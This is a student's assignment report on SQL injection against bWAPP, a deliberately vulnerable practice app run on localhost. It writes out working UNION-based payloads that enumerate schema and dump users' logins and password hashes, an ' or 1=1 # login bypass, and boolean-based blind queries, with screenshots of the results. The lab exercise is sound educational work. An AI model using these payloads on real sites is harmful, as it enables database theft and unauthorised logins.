

BBM 459 Assignment-3

Environment: Windows-XAMPP-bWAPP

Emre Hancı - April 23, 2021



Introduction

In this project the main gain is understanding how SQL Injection works. SQL Injection is a method on of the getting data from database which is not excepted to serving by developer who is developed the victim web site.

Work Explaining

2.2.1 SQL Injection (GET/Select)

- Find column number of the SQL statement.

For finding column number, i tried to add order command to movie id part, I start from 5 because its knowing from result table and when tried 8 get an error which means there is 7 column.

The screenshot shows a browser window for 'bwAPP - SQL Injection' at the URL `localhost/bwapp/sqli_2.php?movie=1%20order%20by%207--&action=go`. The page has a yellow header with the text 'bwAPP' and a bee icon, followed by 'an extremely buggy web app !'. Below the header is a navigation bar with links: 'Bugs', 'Change Password', 'Create User', 'Set Security Level', 'Reset', 'Credits', 'Blog', and 'Logout'. The main content area has a title 'SQL Injection (GET>Select) /'. A dropdown menu labeled 'Select a movie:' contains 'G.I. Joe: Retaliation' with a 'Go' button. Below the dropdown is a table with the following data:

Title	Release	Character	Genre	IMDb
G.I. Joe: Retaliation	2013	Cobra Commander	action	Link

URL Parameters are: ?movie=1 order by 7--&action=go

The screenshot shows a web browser window with the title "bWAPP - SQL Injection". The address bar displays the URL "localhost/bwapp/sqli_2.php?movie=1%20order%20by%208--&action=go". The page content is a yellow header with "bwAPP" and "an extremely buggy web app!" followed by a black navigation bar with links like "Bugs", "Change Password", "Create User", etc. Below is a section titled "/ SQL Injection (GET>Select) /" with a dropdown menu set to "G.I. Joe: Retaliation" and a "Go" button. A table header row is shown with columns: Title, Release, Character, Genre, and IMDb. A message "Error: Unknown column '8' in 'order clause'" is displayed below the table.

URL Parameters are: ?movie=1 order by 8--&action=go

b) Find name of the current database

For finding database name, I was need to add database() call in SQL statement. I use union for this problem.

The screenshot shows a browser window for 'bWAPP - SQL Injection' at the URL `localhost/bwapp/sqli_2.php?movie=1%20and%201=0%20union%20all%20select%201,database(),3,4,5,6,7--&action=go`. The page has a yellow header with the bWAPP logo and a bee icon, followed by the text 'an extremely buggy web app !'. Below the header is a black navigation bar with links: Bugs, Change Password, Create User, Set Security Level, Reset, Credits, Blog, and Logout. The main content area has a title '/ SQL Injection (GET>Select) /'. A dropdown menu shows 'G.I. Joe: Retaliation' selected. A 'Go' button is next to it. Below is a table with the following data:

Title	Release	Character	Genre	IMDb
bwapp	3	5	4	Link

URL Parameters are: ?movie=1 and 1=0 union all select 1,database(),3,4,5,6,7--
&action=go

c) Find version of the database

For finding database name, I was need to add version() call in SQL statement. I use union for this problem.

The screenshot shows a web browser window for 'bwAPP - SQL Injection' at the URL `localhost/bwapp/sqli_2.php?movie=1%20and%201=0%20union%20all%20select%201,version(),3,4,5,6,7--&action=go`. The page has a yellow header with the text 'bwAPP' and a bee icon, followed by 'an extremely buggy web app !'. A navigation bar below includes links for Bugs, Change Password, Create User, Set Security Level, Reset, Credits, Blog, and Logout. The main content area is titled '/ SQL Injection (GET>Select) /'. It features a dropdown menu set to 'G.I. Joe: Retaliation' with a 'Go' button. Below it is a table with the following data:

Title	Release	Character	Genre	IMDb
10.4.14-MariaDB	3	5	4	Link

URL Parameters are: ?movie=1 and 1=0 union all select 1,version(),3,4,5,6,7-- &action=go

2.2.2 SQL Injection (POST/Search)

a) List table names and number of records in each table of the database.

For finding this request, I use input bar for injection and union. The reason that I added 1=0 beginning of the query is not get the records in movies table.

The screenshot shows a web browser window for the bWAPP application. The title bar says "bWAPP - SQL Injection". The address bar shows "localhost/bwapp/sqli_6.php". The page has a yellow header with the bWAPP logo and a bee icon, followed by the text "an extremely buggy web app!". Below the header is a navigation bar with links: Bugs, Change Password, Create User, Set Security Level, Reset, Credits, Blog, and Log Out. The main content area has a title "/ SQL Injection (POST/Search) /". Below it is a search form with a "Search for a movie:" input field and a "Search" button. A table follows, with columns: Title, Release, Character, Genre, and IMDb. The table contains five rows, each with "bwapp" in the Title column and a numerical value in the other columns. Each row has a "Link" button in the last column. The table is as follows:

Title	Release	Character	Genre	IMDb
bwapp	blog	0	4	Link
bwapp	heroes	6	4	Link
bwapp	movies	10	4	Link
bwapp	users	2	4	Link
bwapp	visitors	0	4	Link

```
' and 1=0 union all select 1,table_schema,table_name,4,table_rows,6,7 from information_schema.tables where table_schema = 'bwapp'-- '
```

b) List column names of each table.

For this request, I send 5 queries for each table, with union.

The screenshot shows a web browser window for 'bWAPP - SQL Injection' at 'localhost/bwapp/sqli_6.php'. The page has a yellow header with the bWAPP logo and a bee icon. Below it, the text 'an extremely buggy web app !' is displayed. A navigation bar at the top includes links for 'Uygulamalar', 'Lodash', 'Overview — Bitbucket', 'Boni Dashboard - Jira', 'Kickoff.ai: predictin...', 'Emlak Ofisinden St...', 'JavaScript - Search...', and 'SA'. The main content area has a title '/ SQL Injection (POST/Search) /'. Below it is a search form with a placeholder 'Search for a movie:' and a 'Search' button. A table follows, with columns 'Title', 'Release', 'Character', 'Genre', and 'IMDb'. The table contains four rows with data: id, owner, entry, and date. Each row has a 'Link' button in the last column.

Title	Release	Character	Genre	IMDb
id	3	5	4	Link
owner	3	5	4	Link
entry	3	5	4	Link
date	3	5	4	Link

```
' and 1=0 union all select 1,column_name,3,4,5,6,7 from information_schema.columns  
where table_name = 'blog' and table_schema = 'bwapp'-- '
```

The screenshot shows a web browser window with the title "bwAPP - SQL Injection". The address bar displays "localhost/bwapp/sqli_6.php". The page header features the "bwAPP" logo with a bee icon and the tagline "an extremely buggy web app!". A navigation bar at the top includes links for "Bugs", "Change Password", "Create User", "Set Security Level", "Reset", "Credits", "Blog", and "Logout". Below the header, a section titled "/ SQL Injection (POST/Search) /" contains a search form with a placeholder "Search for a movie:" and a "Search" button. A table below the form lists movie data with columns: Title, Release, Character, Genre, and IMDb. The table rows are:

Title	Release	Character	Genre	IMDb
id	3	5	4	Link
login	3	5	4	Link
password	3	5	4	Link
secret	3	5	4	Link

' and 1=0 union all select 1,column_name,3,4,5,6,7 from information_schema.columns
where table_name = 'heroes' and table_schema = 'bwapp'-- '

The screenshot shows a web browser window for 'bWAPP - SQL Injection' at the URL 'localhost/bwapp/sqli_6.php'. The page has a yellow header with the 'bwAPP' logo and a bee icon. Below the header, a red banner reads 'an extremely buggy web app !'. A navigation bar at the top includes links for 'Uygulamalar', 'Lodash', 'Overview — Bitbuc...', 'Boni Dashboard - Jira', 'Kickoff.ai: predictin...', 'Emlak Ofisinden St...', 'JavaScript - Search...', and 'SA'. The main content area has a black header with links for 'Bugs', 'Change Password', 'Create User', 'Set Security Level', 'Reset', 'Credits', 'Blog', and 'Logout'. Below this, a red banner says '/ SQL Injection (POST/Search) /'. A search form with a placeholder 'Search for a movie:' and a 'Search' button is present. A table below lists movie data with columns: Title, Release, Character, Genre, and IMDb. Each row contains a link labeled 'Link'.

Title	Release	Character	Genre	IMDb
id	3	5	4	Link
title	3	5	4	Link
release_year	3	5	4	Link
genre	3	5	4	Link
main_character	3	5	4	Link
imdb	3	5	4	Link
tickets_stock	3	5	4	Link

```
' and 1=0 union all select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name = 'movies' and table_schema = 'bwapp'-- '
```

The screenshot shows a web application interface for 'bwAPP' with a yellow header containing the title 'bwAPP' and a bee icon. Below the header, a red banner reads 'an extremely buggy web app !'. A navigation bar at the top includes links for 'Bugs', 'Change Password', 'Create User', 'Set Security Level', 'Reset', 'Credits', 'Blog', and 'Logout'. The main content area has a title '/ SQL Injection (POST/Search) /'. It features a search bar with the placeholder 'Search for a movie:' and a 'Search' button. Below the search bar is a table with the following data:

Title	Release	Character	Genre	IMDb
id	3	5	4	Link
login	3	5	4	Link
password	3	5	4	Link
email	3	5	4	Link
secret	3	5	4	Link
activation_code	3	5	4	Link
activated	3	5	4	Link
reset_code	3	5	4	Link
admin	3	5	4	Link

```
' and 1=0 union all select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name = 'users' and table_schema = 'bwapp'-- '
```

The screenshot shows a web browser window for the bWAPP - SQL Injection application at the URL `localhost/bwapp/sqli_6.php`. The page has a yellow header with the bWAPP logo and a bee icon. Below the header, a red banner reads "an extremely buggy web app!". A navigation bar at the top includes links for "Bugs", "Change Password", "Create User", "Set Security Level", "Reset", "Credits", "Blog", and "Logout". The main content area features a title "**/ SQL Injection (POST/Search) /**". Below the title is a search bar with the placeholder "Search for a movie:" and a "Search" button. A table follows, with columns labeled "Title", "Release", "Character", "Genre", and "IMDb". The table contains the following data:

Title	Release	Character	Genre	IMDb
id	3	5	4	Link
login	3	5	4	Link
password	3	5	4	Link
email	3	5	4	Link
secret	3	5	4	Link
activation_code	3	5	4	Link
activated	3	5	4	Link
reset_code	3	5	4	Link
admin	3	5	4	Link

' and 1=0 union all select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name = 'visitors' and table_schema = 'bwapp'-- '

2.2.3 SQL Injection (Get/Search)

a) List all records in each table.

For this request I send only one query, with unions, that query gets all the records, in database. Before implement my solution, I got the which database columns correspond which table columns.

The screenshot shows a web browser window for the bWAPP - SQL Injection application. The URL in the address bar is `localhost/bwapp/sqli_1.php?title=emre%27+UNION+SELECT+1%2C2%2C3%2C4%2C5%2C6%2C7+from+users+%23&action=search`. The page title is "bwAPP" with a bee logo, and the subtitle is "an extremely buggy web app!". The navigation menu includes links for Bugs, Change Password, Create User, Set Security Level, Reset, Credits, Blog, and Logout. Below the menu, the page title is "/ SQL Injection (GET/Search) /". A search form has a placeholder "Search for a movie:" and a "Search" button. A table below the form displays search results:

Title	Release	Character	Genre	IMDb
2	3	5	4	Link

At the bottom of the page, the text "' UNION SELECT 1,2,3,4,5,6,7 from users #' is displayed, indicating the exploit used to retrieve all records from the 'users' table.

bWAPP - SQL Injection

localhost/bwapp/sqli_1.php?title=%27+UNION+SELECT+1%2Cmovies.id%2Cmovies.tickets_stock%2Cmovies.id%2Cmovies.id%2Cm

Uygulamalar Lodash Overview — Bitbuc... Boni Dashboard - Jira Kickoff.ai: predictin... Emlak Ofisinden St... JavaScript - Search... SJ

/ SQL Injection (GET/Search) /

Search for a movie:

Title	Release	Character	Genre	IMDb
G.I. Joe: Retaliation	2013	Cobra Commander	action	Link
Iron Man	2008	Tony Stark	action	Link
Man of Steel	2013	Clark Kent	action	Link
Terminator Salvation	2009	John Connor	sci-fi	Link
The Amazing Spider-Man	2012	Peter Parker	action	Link
The Cabin in the Woods	2011	Some zombies	horror	Link
The Dark Knight Rises	2012	Bruce Wayne	action	Link
The Fast and the Furious	2001	Brian O'Connor	action	Link
The Incredible Hulk	2008	Bruce Banner	action	Link

bWAPP - SQL Injection

localhost/bwapp/sqli_1.php?title=%27+UNION+SELECT+1%2Cmovies.id%2Cmovies.tickets_stock%2Cmovies.id%2Cmovies

Uygulamalar Lodash Overview — Bitbucket Boni Dashboard - Jira Kickoff.ai: prediction... Emlak Ofisinden St... JavaScript - Search.

	The Incredible Hulk	2008	Bruce Banner	action	Link
	World War Z	2013	Gerry Lane	horror	Link
1		100	1	1	Link
2		53	2	2	Link
3		78	3	3	Link
4		100	4	4	Link
5		13	5	5	Link
6		666	6	6	Link
7		3	7	7	Link
8		40	8	8	Link
9		23	9	9	Link
10		0	10	10	Link
A.I.M.	6885858486f31043e5839c735d99457f045affd0	A.I.M. or Authentication Is Missing	bwapp-aim@mailinator.com	Link	
bee	6885858486f31043e5839c735d99457f045affd0	Any bugs?	bwapp-bee@mailinator.com	Link	
	1	1		Link	
	1	1		Link	
1	neo	Oh why didn't I took that BLACK pill?	trinity	Link	

bWAPP - SQL Injection

localhost/bwapp/sql1_1.php?title=%27+UNION+SELECT+1%2Cmovies.id%2Cmovies.tickets_stock%2Cmovies.id%2Cmovies.id%

						Link
7		3	7	7		Link
8		40	8	8		Link
9		23	9	9		Link
10		0	10	10		Link
A.I.M.	6885858486f31043e5839c735d99457f045affd0	A.I.M. or Authentication Is Missing	bwapp-aim@mailinator.com			Link
bee	6885858486f31043e5839c735d99457f045affd0	Any bugs?	bwapp-bee@mailinator.com			Link
	1	1				Link
	1	1				Link
1	neo	Oh why didn't I took that BLACK pill?	trinity			Link
2	alice	There's a cure!	loveZombies			Link
3	thor	Oh, no... this is Earth... isn't it?	Asgard			Link
4	wolverine	What's a Magneto?	Log@N			Link
5	johnny	I'm the Ghost Rider!	m3ph1st0ph3l3s			Link
6	seline	It wasn't the Lycans. It was you.	m00n			Link

```
' UNION SELECT 1,movies.id,movies.tickets_stock,movies.id,movies.id,movies.id,7
      from movies
    UNION SELECT 1,users.login,users.password,users.email,users.secret,users.id,7
      from users
    UNION SELECT
1,users.activation_code,users.activated,users.reset_code,users.admin,users.id,7 from
      users
    UNION SELECT 1,blog.id,blog.owner,blog.entry,blog.date,blog.id,7 from blog
    UNION SELECT 1,heroes.id,heroes.login,heroes.password,heroes.secret,heroes.id,7
      from heroes
    UNION SELECT
1,visitors.id,visitors.ip_address,visitors.user_agent,visitors.date,visitors.id,7 from
      visitors #
```

b) Get credentials of a superhero by using id column of the related table. Go to SQL Injection (Login Form / Hero) bug and login with username and password of the superhero.

For this request, I got Neo's account information, and get login to the system. The reason that I added "emre" is not got any record from movie table.

The screenshot shows a browser window for 'bwAPP - SQL Injection' at the URL `localhost/bwapp/sqli_1.php?title=emre%27+UNION+SELECT+1%2Cheroes.id%2Cheroes.login%2Cheroes.password%2Cheroes.secret`. The page has a yellow header with the bwAPP logo and a bee icon. Below it, the text 'an extremely buggy web app !' is displayed. A navigation bar at the top includes links for 'Bugs', 'Change Password', 'Create User', 'Set Security Level', 'Reset', 'Credits', 'Blog', and 'Logout'. The main content area features a title 'SQL Injection (GET/Search)' and a search form with a placeholder 'Search for a movie:' and a 'Search' button. Below the form is a table with the following data:

Title	Release	Character	Genre	IMDb
1	neo	Oh why didn't I took that BLACK pill?	trinity	Link

At the bottom of the page, the SQL query used for the exploit is visible:

```
emre' UNION SELECT  
1,heroes.id,heroes.login,heroes.password,heroes.secret,heroes.id,7 from heroes  
where heroes.id = 1 #
```

bwAPP - SQL Injection

localhost/bwapp/sqli_3.php

Uygulamalar Lodash Overview — Bitbucket Boni Dashboard - Jira Kickoff.ai: predictin... Emlak Ofisinden St... JavaScript - Search... SA

Enter your 'superhero' credentials.

Login: neo

Password: trinity

Login

bWAPP is licensed under [\(cc\) BY-NC-ND](#) © 2014 MME BVBA / Follow [@MME_IT](#) on Twitter and ask for our cheat sheet, containing all solutions! /

Elements Console Sources Network Performance Memory Application Security Lighthouse AdBlock Redux Notify

```
<!DOCTYPE html>
<html>
  <head>...</head>
  <body data-new-gr-c-s-check-loaded="14.1007.0" data-gr-ext-installed>
    <header>...</header>
    <div id="menu">...</div>
    <div id="main">
      <h1>...</h1>
      <p>Enter your 'superhero' credentials.</p>
      <form action="/bwapp/sqli_3.php" method="POST">
        <p>...</p>
        <p>
          <label for="password">Password:</label>
          <br>
          <input type="input" id="password" name="password" size="20" autocomplete="off"> == $0
        </p>
        <button type="submit" name="form" value="submit">Login</button>
      </form>
    </div>
```

bWAPP - SQL Injection X +

localhost/bwapp/sqli_3.php

Uygulamalar Lodash Overview — Bitbucket Boni Dashboard - Jira Kickoff.ai: predictin... Emlak Ofisinden St... JavaScript - Search... SA

Enter your 'superhero' credentials.

Login:

Password:

Login

Welcome **Neo**, how are you today?

Your secret: **Oh Why Didn't I Took That BLACK Pill?**

bWAPP is licensed under [\(CC BY-NC-ND\)](#) © 2014 MME BVBA / Follow [@MME_IT](#) on Twitter and ask for our cheat sheet, containing all solutions! /

Elements Console Sources Network Performance Memory Application Security Lighthouse AdBlock Redux Netify

```
<!DOCTYPE html>
<html>
  <head>...</head>
  <body data-new-gr-c-s-check-loaded="14.1007.0" data-gr-ext-installed>
    <header>...</header>
    <div id="menu">...</div>
    <div id="main">
      <h1>...</h1>
      <p>Enter your 'superhero' credentials.</p>
      <form action="/bwapp/sqli_3.php" method="POST">
        <p>...</p>
        <p>
          <label for="password">Password:</label>
          <br>
          <input type="password" id="password" name="password" size="20" autocomplete="off"> == $0
        </p>
        <button type="submit" name="form" value="submit">Login</button>
      </form>
      <br>
      <p>...</p>
      <p>...</p>
    </div>
    <div id="side">...</div>
    <div id="disclaimer">...</div>
```

c) Repeat the step 2.2.3.b. by not using the original password (In other words, you are expected to login without using the original password). Interpret the result.

For this request I use " ' or 1=1 # " as password.

The screenshot shows a browser window for the bWAPP - SQL Injection application at the URL `localhost/bwapp/sqli_3.php`. The page title is `/ SQL Injection (Login Form/Hero) /`. The form asks for 'superhero' credentials. In the 'Login' field, the value 'neo' is entered. In the 'Password' field, the value '' or 1=1 # is entered. A 'Login' button is present. Below the form, the browser's developer tools are open, specifically the Elements tab, showing the HTML structure of the page. The password input field is highlighted with a red border, indicating it is the current selection. The code snippet shows the injected payload: `<input type="input" id="password" name="password" size="20" autocomplete="off" > == $0`.

bWAPP - SQL Injection

localhost/bwapp/sql_3.php

Uygulamalar Lodash Overview — Bitbuc... Boni Dashboard - Jira Kickoff.ai: predictin... Emlak Ofisinden St... JavaScript - Search... S...

"j0hn...g"

Enter your 'superhero' credentials.

Login:

Password:

Login

Welcome **Neo**, how are you today?

Your secret: Oh Why Didn't I Took That BLACK Pill?

bWAPP is licensed under [\(CC\) BY-NC-ND](#) © 2014 MME BVBA / Follow [@MME_IT](#) on Twitter and ask for our cheat sheet, containing all solutions!

Elements Console Sources Network Performance Memory Application Security Lighthouse AdBlock Redux Netify

```
<!DOCTYPE html>
<html>
  <head>...</head>
  <body data-new-gr-c-s-check-loaded="14.1007.0" data-gr-ext-installed>
    <header>...</header>
    <div id="menu">...</div>
    <div id="main">
      <h1>...</h1>
      <p>Enter your 'superhero' credentials.</p>
      <form action="/bwapp/sql_3.php" method="POST">
        <p>...</p>
        <p>
          <label for="password">Password:</label>
          <br>
          <input type="password" id="password" name="password" size="20" autocomplete="off"> == $0
        </p>
        <button type="submit" name="form" value="submit">Login</button>
      </form>
      <br>
      <p>...</p>
      <p>...</p>
    </div>
    <div id="side">...</div>
    <div id="disclaimer">...</div>
    <div id="bee">...</div>
    <div id="security_level">...</div>
    <style>...</style>
    <div id="bug" class="bugs">...</div>
  </body>
</html>
```

html body div#main form p input#password

2.2.4 SQL Injection - Blind - Boolean-Based

- Verify the name of the database found in step 2.2.1.b

The screenshot shows a browser window for 'bWAPP - SQL Injection' at the URL `localhost/bwapp/sqli_4.php?title=iron+man%27+and+database%28%29%3D%27bwapp%27%23&action=search`. The page has a yellow header with the bWAPP logo and a bee icon, and the text 'an extremely buggy web app!'. A navigation bar below the header includes links for 'Bugs', 'Change Password', 'Create User', 'Set Security Level', 'Reset', 'Credits', 'Blog', and 'Logout'. The main content area displays the title '/ SQL Injection - Blind - Boolean-Based /' in large, stylized text. Below it is a search form with a placeholder 'Search for a movie:' and a 'Search' button. The text 'The movie exists in our database!' is displayed below the search form. At the bottom of the page, the injected SQL query is visible: `iron man' and database()='bwapp'#`.

b) Verify the version of the database found in step 2.2.1.c

The screenshot shows a web browser window for 'bWAPP - SQL Injection' at the URL `localhost/bwapp/sqli_4.php?title=iron+man%27+and+40%40version%3D%2710.4.14-MariaDB%27%23&action=search`. The page has a yellow header with the bWAPP logo and the text 'an extremely buggy web app !'. A navigation bar below the header includes links for Bugs, Change Password, Create User, Set Security Level, Reset, Credits, Blog, and Logout. The main content area features a title 'SQL Injection - Blind - Boolean-Based /' and a search form with a placeholder 'Search for a movie:' and a 'Search' button. Below the form, a message states 'The movie exists in our database!'.

iron man' and @@version='10.4.14-MariaDB'#

)c Verify the e-mail address of a user listed in step 2.2.3.a

The screenshot shows a web browser window for the bWAPP - SQL Injection application. The URL in the address bar is `localhost/bwapp/sqli_4.php?title=iron+man%27+and+%28select+substring%28concat%281%2Cpassword%29%2C1%2C1%29+from+users+where+users.email=%27bwapp-aim@mailinator.com%27`. The page has a yellow header with the bWAPP logo and the text "an extremely buggy web app!". Below the header is a black navigation bar with links: Bugs, Change Password, Create User, Set Security Level, Reset, Credits, Blog, and Logout. The main content area has a title "*/ SQL Injection - Blind - Boolean-Based /*". Below the title is a search form with a placeholder "Search for a movie:" and a "Search" button. The text "The movie exists in our database!" is displayed below the search form. At the bottom of the page, there is a footer with the text "iron man' and (select substring(concat(1,password),1,1) from users where users.email = 'bwapp-aim@mailinator.com' limit 0,1)=1 #".